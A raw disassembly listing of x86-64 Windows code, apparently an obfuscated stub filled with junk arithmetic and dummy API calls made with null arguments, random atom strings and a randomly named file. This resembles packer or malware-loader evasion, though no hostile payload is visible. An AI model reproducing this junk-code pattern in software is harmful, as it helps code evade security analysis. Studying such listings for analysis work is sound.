mov rax, qword [rsp + 0xf038]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x299]
add eax, ecx
mov byte [rsp + 0x4da], al
mov rax, qword [rsp + 0xef90]
mov r9d, dword [rax]
mov rax, qword [rsp + 0xef90]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x7640]
mov rax, qword [rsp + 0xef90]
mov ecx, dword [rax]
call fcn.1401c5bd0
lea rdx, [rsp + 0xefc]
mov rcx, qword [rsp + 0xf0a0]
call qword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [rsp + 0x75ec], eax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xedf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xf030], rax
mov rax, qword [rsp + 0xef90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x74e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7660], eax
movsx eax, byte [rsp + 0x4de]
movsx ecx, byte [rsp + 0x4dc]
add eax, ecx
mov byte [rsp + 0x4d9], al
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x68dc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xf080]
mov dword [rcx], eax
jmp 0x14001c85c
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xf048]
mov rax, qword [rax]
imul rax, qword [rcx]
mov rcx, qword [rsp + 0xed60]
mov rdx, qword [rsp + 0xed58]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x14001c85c
movzx eax, word [rsp + 0x2480]
movzx ecx, word [rsp + 0x258c]
shl eax, cl
mov word [rsp + 0x256c], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf020]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e3039], al
mov rax, qword [rsp + 0xef90]
mov ecx, dword [rsp + 0x758c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x1401eee00]
mov edx, dword [0x1401eee10]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jl 0x14001c85c
movzx eax, word [rsp + 0x2564]
movzx ecx, word [rsp + 0x2560]
add eax, ecx
mov word [rsp + 0x1dac], ax
movsx eax, word [rsp + 0x257c]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2584], ax
lea rcx, str.RF4BAQR49G91_NiDiap
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x25a4], ax
mov rax, qword [rsp + 0xef20]
movzx eax, word [rax]
mov word [rsp + 0x25a8], ax
mov rax, qword [rsp + 0xf030]
mov rcx, qword [rsp + 0xf058]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xed60], rax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov dword [rsp + 0x7674], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xef80], rax
mov rax, qword [0x1401eee00]
mov rcx, qword [rsp + 0xef90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x75f4], eax
movzx eax, word [rsp + 0x2564]
movzx ecx, word [rsp + 0x2578]
add eax, ecx
mov word [rsp + 0x256c], ax
lea rax, [rsp + 0x4e0]
mov qword [rsp + 0xf0a8], rax
movzx eax, word [0x1401e3398]
mov word [0x1401eede0], ax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xf070]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xea88], rax
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xecd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9e0], rax
mov rax, qword [rsp + 0xf040]
mov rcx, qword [rsp + 0xef68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xea88], rax
mov edx, 0x1c4c
mov rcx, qword [rsp + 0xecc0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x752c], eax
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x259c]
shl eax, cl
mov word [rsp + 0x17ec], ax
mov rax, qword [0x1401eede8]
movzx eax, byte [rax]
mov byte [rsp + 0x4e2], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea rax, [rsp + 0x7670]
mov qword [rsp + 0xf0b0], rax
mov eax, dword [0x1401e3384]
mov rcx, qword [rsp + 0xf080]
mov qword [rsp + 0xf0b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf0b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x68dc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov qword [rsp + 0xf0c0], rax
movzx eax, byte [rsp + 0x4db]
movzx ecx, byte [rsp + 0x4d7]
or eax, ecx
mov byte [0x1401e303a], al
mov rax, qword [rsp + 0xf088]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x256c]
xor eax, ecx
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf10]
and eax, ecx
mov word [rsp + 0x2578], ax
movsx eax, word [rsp + 0x151c]
movsx ecx, word [0x1401eede0]
add eax, ecx
mov word [rsp + 0x1ea4], ax
movzx eax, byte [rsp + 0x4d7]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4da], al
movzx ecx, word [rsp + 0x2574]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2548], ax
mov eax, dword [rsp + 0x7604]
mov dword [rsp + 0x7678], eax
mov rax, qword [rsp + 0xbb58]
mov rcx, qword [rsp + 0xf0c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xf018], rax
mov eax, dword [rsp + 0x74e4]
mov dword [rsp + 0x767c], eax
mov rax, qword [rsp + 0xf040]
mov rcx, qword [rsp + 0xeea8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xefd0], rax
mov rax, qword [rsp + 0xf0a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf038]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e303c], al
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2584], ax
movzx eax, word [rsp + 0x2568]
movzx ecx, word [rsp + 0x2480]
sub eax, ecx
mov word [rsp + 0x1d20], ax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4d9]
sub eax, ecx
mov byte [rsp + 0x4df], al
movsx eax, word [rsp + 0x2584]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x151c]
mov dword [rsp + 0x7680], ecx
mov rdx, qword [rsp + 0xef20]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x7680]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14001cc23
lea rcx, [rsp + 0x28630]
call qword [sym.imp.SHELL32.dll_ILClone]
mov qword [rsp + 0xf0c8], rax
mov rax, qword [rsp + 0xf040]
mov rcx, qword [rsp + 0xf070]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xef30], rax
mov rax, qword [rsp + 0xbb58]
mov rcx, qword [rsp + 0xf030]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd8], rax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [0x1401eedf8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x74d4], eax
mov rax, qword [rsp + 0xef90]
mov rcx, qword [rsp + 0xf0b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7600], eax
movzx eax, byte [rsp + 0x3fd]
movzx ecx, byte [rsp + 0x4dd]
sub eax, ecx
mov byte [rsp + 0x4db], al
mov r9d, ILCreateFromPathW
mov r8, qword [rsp + 0xed88]
lea rdx, [rsp + 0xed18]
mov rcx, qword [rsp + 0xf0d0]
call qword [sym.imp.SHELL32.dll_SHPathPrepareForWriteW]
mov dword [rsp + 0x7524], eax
jmp 0x14001cd14
movsx eax, byte [rsp + 0x4e2]
mov rcx, qword [0x1401eede8]
movsx ecx, byte [rcx]
or eax, ecx
movsx ecx, byte [rsp + 0x2b3]
mov dword [rsp + 0x7684], ecx
movsx edx, byte [rsp + 0x4dc]
movzx ecx, dl
mov edx, dword [rsp + 0x7684]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14001cd14
movzx eax, word [rsp + 0x24ac]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401eede4], ax
mov rax, qword [rsp + 0xef20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2160], ax
movsx eax, word [rsp + 0x2544]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xee00]
mov word [rcx], ax
mov rax, qword [rsp + 0xef40]
mov rcx, qword [rsp + 0xef30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xeff8], rax
mov eax, dword [rsp + 0x75bc]
mov dword [rsp + 0x20], eax
movzx r9d, word [0x1401e3380]
mov r8d, dword [rsp + 0x7604]
mov rax, qword [rsp + 0xed18]
mov rdx, qword [rax]
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rax]
call fcn.1401c5cf0
movzx eax, word [rsp + 0x1694]
mov word [rsp + 0x25ac], ax
movzx ecx, word [rsp + 0x2548]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x25a4], ax
lea rax, [rsp + 0x764c]
mov qword [rsp + 0xf0d8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xecd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed60], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xf0e0], rax
lea rax, [rsp + 0x7530]
mov qword [rsp + 0xf0e8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x7658], eax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2b3]
add eax, ecx
movsx ecx, byte [0x1401e3038]
mov dword [rsp + 0x7688], ecx
movsx edx, byte [rsp + 0x4d9]
movzx ecx, dl
mov edx, dword [rsp + 0x7688]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x14001cef6
mov rcx, qword [rsp + 0xf068]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0xf0f0], rax
movsx eax, word [rsp + 0x2588]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x17ec], ax
movzx eax, byte [rsp + 0x35e]
movzx ecx, byte [0x1401e303c]
or eax, ecx
mov byte [0x1401e3039], al
mov rax, qword [rsp + 0xef40]
mov rcx, qword [rsp + 0xef30]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xeff8], rax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4de]
and eax, ecx
mov byte [rsp + 0x2b3], al
mov rax, qword [0x1401eedf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x299], al
lea rdx, [rsp + 0xee18]
lea rcx, [rsp + 0x226a0]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x7570], eax
movsx eax, word [rsp + 0x2160]
movsx ecx, word [rsp + 0x141c]
add eax, ecx
mov word [rsp + 0x17ec], ax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xedf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7034]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x74d4], eax
mov rax, qword [rsp + 0xef90]
mov rcx, qword [rsp + 0xf0e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x75f4], eax
mov rax, qword [rsp + 0xf050]
movzx eax, word [rax]
mov word [rsp + 0x25b0], ax
lea rax, [rsp + 0x2580]
mov qword [0x1401eedd8], rax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xf048]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xedf0]
mov rdx, qword [0x1401eee08]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jne 0x14001d070
movsx eax, word [rsp + 0x2544]
movsx ecx, word [rsp + 0x2558]
xor eax, ecx
mov word [rsp + 0x2598], ax
mov rax, qword [rsp + 0xed40]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xed08]
mov r8, qword [rsp + 0xef30]
mov rdx, qword [rsp + 0xdd40]
mov rcx, qword [rsp + 0xeff8]
call fcn.1401c5a20
lea rcx, [rsp + 0x25a8]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x7524], eax
movzx eax, byte [rsp + 0x299]
movzx ecx, byte [rsp + 0x3fd]
shl eax, cl
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0xecd0]
movzx ecx, al
mov rax, qword [rsp + 0xed40]
sar rax, cl
mov qword [rsp + 0xea88], rax
mov rax, qword [rsp + 0xf040]
mov rcx, qword [rsp + 0xecd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdd40], rax
mov eax, dword [rsp + 0x7640]
mov ecx, dword [0x1401eee10]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7600], eax
mov rax, qword [rsp + 0xf0d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x74d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6850], eax
lea rcx, [rsp + 0xedf0]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x768c], eax
jmp 0x14001d1ed
mov rax, qword [rsp + 0xeff8]
mov rcx, qword [rsp + 0xef40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xef30]
mov rdx, qword [rsp + 0xef68]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x14001d1ed
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xf048]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xed58], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xf0f8], rax
lea rax, [rsp + 0x2588]
mov qword [rsp + 0xf100], rax
mov rax, qword [rsp + 0xf088]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x256c]
add eax, ecx
mov word [0x1401e33a0], ax
movsx eax, byte [0x1401e3038]
mov rcx, qword [0x1401eede8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x113], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xf020]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf038]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x35e], al
mov rax, qword [rsp + 0xecb8]
mov qword [rsp + 0xf108], rax
mov rax, qword [0x1401eedf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf020]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4d7], al
mov rax, qword [rsp + 0xf0b0]
mov rcx, qword [rsp + 0xef90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7070], eax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xed18]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xed48], rax
movzx ecx, word [rsp + 0x25a4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2574], ax
mov rax, qword [rsp + 0xf080]
mov rcx, qword [rsp + 0xedb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7544], eax
mov rax, qword [rsp + 0xf100]
movzx eax, word [rax]
mov word [rsp + 0x25b4], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xf110], rax
movzx eax, word [rsp + 0x2578]
movzx ecx, word [rsp + 0x1a64]
shl eax, cl
mov word [0x1401e33a4], ax
mov rax, qword [rsp + 0xefd0]
mov rcx, qword [rsp + 0xef30]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xef68], rax
lea rax, [rsp + 0x4dd]
mov qword [rsp + 0xf118], rax
mov rax, qword [rsp + 0xf050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x255c], ax
movzx eax, word [rsp + 0x141c]
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0xf080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x74d4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7674], eax
mov rax, qword [rsp + 0xef90]
mov rcx, qword [rsp + 0xf0b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6f6c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.aWNBRQys3d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xf120], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd7b0], rax
movsx eax, byte [rsp + 0x4d8]
movsx ecx, byte [rsp + 0x4d9]
and eax, ecx
mov byte [rsp + 0x4de], al
movzx eax, byte [rsp + 0x4dd]
mov byte [rsp + 0x4e3], al
movzx eax, word [rsp + 0x255c]
mov word [0x1401eedd2], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
movsx eax, word [rsp + 0x151c]
movsx ecx, word [rsp + 0x2594]
sub eax, ecx
mov word [rsp + 0x2558], ax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xefd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf070], rax
mov rax, qword [rsp + 0xed40]
mov qword [rsp + 0xf128], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov eax, dword [rsp + 0x7604]
mov ecx, dword [rsp + 0x75d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x764c], eax
mov eax, dword [rsp + 0x7660]
mov ecx, dword [rsp + 0x75bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6710], eax
mov rax, qword [rsp + 0xf028]
mov rcx, qword [rsp + 0xf030]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd7b0], rax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xedf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xf048]
mov rdx, qword [rsp + 0xf018]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jae 0x14001d4d1
movzx eax, byte [rsp + 0x299]
movzx ecx, byte [rsp + 0x4e0]
add eax, ecx
mov byte [rsp + 0x3fd], al
movzx eax, word [0x1401e339c]
mov word [rsp + 0x25bc], ax
lea rcx, str.PbfKnL_At
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x25c0], ax
movsx eax, word [rsp + 0x141c]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401e338c], ax
mov rax, qword [rsp + 0xedb8]
movzx ecx, al
mov rax, qword [rsp + 0xef68]
shl rax, cl
mov qword [rsp + 0xed08], rax
mov rcx, qword [rsp + 0xedc8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7518], eax
mov rax, qword [rsp + 0xed08]
mov qword [rsp + 0xf130], rax
movzx eax, word [rsp + 0x1a64]
movzx ecx, word [rsp + 0x24ac]
or eax, ecx
movzx ecx, word [0x1401eedd2]
movzx edx, word [rsp + 0x2540]
xor ecx, edx
cmp eax, ecx
jne 0x1401c442d
mov rax, qword [rsp + 0xef90]
mov ecx, dword [rsp + 0x751c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x74e4], eax
mov rcx, qword [rsp + 0xf110]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x7534], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xedb0]
mov rcx, qword [rsp + 0xf080]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5f8c], eax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4dc]
and eax, ecx
mov byte [rsp + 0x4de], al
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xedf0]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xc7f8], rax
lea rax, [rsp + 0x257c]
mov qword [rsp + 0xf138], rax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf0a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e303c], al
movzx eax, byte [0x1401e303c]
movzx ecx, byte [rsp + 0x3fd]
sub eax, ecx
mov byte [rsp + 0x4d7], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
lea rax, [rsp + 0x2558]
mov qword [rsp + 0xf140], rax
movzx eax, word [rsp + 0x1dac]
mov rcx, qword [rsp + 0xf050]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2580], ax
mov eax, dword [rsp + 0x7674]
mov ecx, dword [rsp + 0x6c34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7544], eax
mov rax, qword [rsp + 0xf0e8]
mov eax, dword [rax]
mov dword [rsp + 0x7690], eax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xf048]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xecd8], rax
mov rax, qword [0x1401eedd8]
movzx eax, word [rax]
mov word [rsp + 0x25c4], ax
mov rax, qword [rsp + 0xf0a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf118]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x299], al
movsx eax, word [rsp + 0x151c]
mov rcx, qword [rsp + 0xef20]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401e33a8], ax
mov rax, qword [rsp + 0xeff8]
mov rcx, qword [rsp + 0xef40]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xef68], rax
mov rax, qword [rsp + 0xf128]
mov qword [rsp + 0xf148], rax
mov rax, qword [rsp + 0xe030]
mov rcx, qword [rsp + 0xedb8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xef30], rax
movzx eax, byte [rsp + 0x35e]
movzx ecx, byte [rsp + 0x4e0]
and eax, ecx
mov byte [rsp + 0x33a], al
lea rax, [rsp + 0x113]
mov qword [rsp + 0xf150], rax
mov eax, dword [rsp + 0x74e4]
mov ecx, dword [rsp + 0x705c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x75bc], eax
movsx eax, byte [rsp + 0x4dc]
mov rcx, qword [rsp + 0xf150]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401eede8]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x4e1]
sub ecx, edx
cmp eax, ecx
jne 0x14001d811
mov rax, qword [rsp + 0xf030]
mov rcx, qword [rsp + 0xf018]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf058], rax
mov rax, qword [rsp + 0xf080]
mov ecx, dword [rsp + 0x5f8c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x74ec], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf050]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e339c], ax
lea rcx, [rsp + 0xefd8]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x7648], eax
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf100]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0xf138]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2558]
add eax, ecx
mov word [rsp + 0x1ea4], ax
movzx eax, word [rsp + 0xefc]
mov word [rsp + 0x25c8], ax
movzx eax, byte [rsp + 0x4da]
mov rcx, qword [rsp + 0xf118]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4d7], al
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov dword [rsp + 0x7694], eax
xor edx, edx
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed18]
div qword [rcx]
mov qword [rsp + 0xd7b0], rax
mov eax, dword [rsp + 0x764c]
mov ecx, dword [rsp + 0x7604]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x73a8], eax
mov rax, qword [rsp + 0xea88]
mov rcx, qword [rsp + 0xef40]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xf148], rax
mov rax, qword [rsp + 0xf088]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x258c]
sar eax, cl
mov word [0x1401e33ac], ax
mov rax, qword [rsp + 0xf140]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2544]
shl eax, cl
mov rcx, qword [rsp + 0xee00]
mov word [rcx], ax
movzx eax, byte [rsp + 0x3fd]
mov byte [rsp + 0x4e4], al
mov rax, qword [rsp + 0xf150]
movsx eax, byte [rax]
mov rcx, qword [0x1401eede8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4d8], al
mov rax, qword [rsp + 0xefd0]
mov qword [rsp + 0xf158], rax
mov rax, qword [rsp + 0xf048]
mov rcx, qword [rsp + 0xf030]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb58], rax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x6c34]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7604], eax
movsx eax, byte [0x1401e3038]
movsx ecx, byte [rsp + 0x4d8]
sub eax, ecx
mov rcx, qword [rsp + 0xf150]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x113]
sub ecx, edx
cmp eax, ecx
jge 0x1401c43b4
mov rax, qword [rsp + 0xdd40]
mov rcx, qword [rsp + 0xf108]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd8c8], rax
mov rax, qword [rsp + 0xf040]
movzx ecx, al
mov rax, qword [rsp + 0xecd0]
shl rax, cl
mov qword [rsp + 0xf108], rax
movzx eax, byte [0x1401eede2]
mov rcx, qword [rsp + 0xf118]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xf0a8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0xed68]
movzx edx, byte [rdx]
or ecx, edx
cmp eax, ecx
jge 0x14001db35
mov rax, qword [rsp + 0xf020]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf118]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xf020]
mov byte [rcx], al
mov rdx, qword [rsp + 0xf160]
mov rcx, qword [rsp + 0xefd8]
call qword [sym.imp.SHELL32.dll_DuplicateIcon]
mov qword [rsp + 0xf168], rax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7034]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x74ec], eax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xf058]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd7b0], rax
mov eax, dword [rsp + 0x7070]
mov ecx, dword [rsp + 0x751c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f6c], eax
